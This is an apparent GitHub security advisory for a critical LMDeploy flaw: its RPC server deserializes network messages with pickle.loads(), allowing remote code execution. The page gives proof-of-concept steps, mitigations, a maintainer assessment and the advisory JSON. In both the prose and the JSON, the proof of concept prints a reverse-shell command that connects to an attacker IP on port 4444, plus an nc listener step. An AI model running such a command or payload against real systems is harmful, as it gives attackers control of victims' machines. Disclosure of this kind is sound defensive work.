GHSA-5H8J-6CRG-7RMW
Vulnerability from github – Published: 2026-09-16 15:34 – Updated: 2026-09-16 15:34Description
The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.
Proof of Concept
-
Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.
-
Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:
In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.
- Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.
We also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}.
Impact
Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service.
Mitigation
(1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. LMdeploy.zip
Maintainer assessment
This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with pickle.loads().
The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, AsyncRPCServer bound to tcp://*, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.
Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.
Additional client-side pickle.loads() call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lmdeploy"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.1"
},
{
"fixed": "0.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59953"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T15:34:27Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Description\n\nThe LMdeploy\u00a0implements an\u00a0rpc server (AsyncRPCServer in zmq_rpc.py)\u00a0for supporting the RPC communications. In its core functionality\u00a0call_and_response(), I found it will directly use the\u00a0pickles.loads()\u00a0to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.\n\n### Proof of Concept\n\n* Step1:\nThe victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.\n\n* Step2:\nThe attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:\n\u003cimg width=\"832\" height=\"324\" alt=\"image\" src=\"https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704\" /\u003e\n\nIn this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command \u201cbash -c \u2018bash -i \u003e\u0026 /dev/tcp/202.112.47.27/4444 0\u003e\u00261\u2019\u201d, where 202.112.47.27 is an attacker\u2019s server. \nTwo points require special attention:\n1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP.\n2.The RPC server\u2019s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.\n\n\n* Step3:\nAttacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.\n\nWe also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}.\n\n\n### Impact\nRemote code execution in the victim\u0027s machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim\u2019s service.\n\n\n\n### Mitigation\n(1)Sanitize\u00a0data before\u00a0pickle.loads\u00a0it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as\u00a0safetensor\u00a0or\u00a0msgpack\u00a0to replace the insecure pickle.loads.\n(2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster.\n[LMdeploy.zip](https://github.com/user-attachments/files/22589686/LMdeploy.zip)\n\n### Maintainer assessment\n\nThis advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with `pickle.loads()`.\n\nThe vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, `AsyncRPCServer` bound to `tcp://*`, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.\n\nVersion 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.\n\nAdditional client-side `pickle.loads()` call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.",
"id": "GHSA-5h8j-6crg-7rmw",
"modified": "2026-09-16T15:34:27Z",
"published": "2026-09-16T15:34:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-5h8j-6crg-7rmw"
},
{
"type": "PACKAGE",
"url": "https://github.com/InternLM/lmdeploy"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.10.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.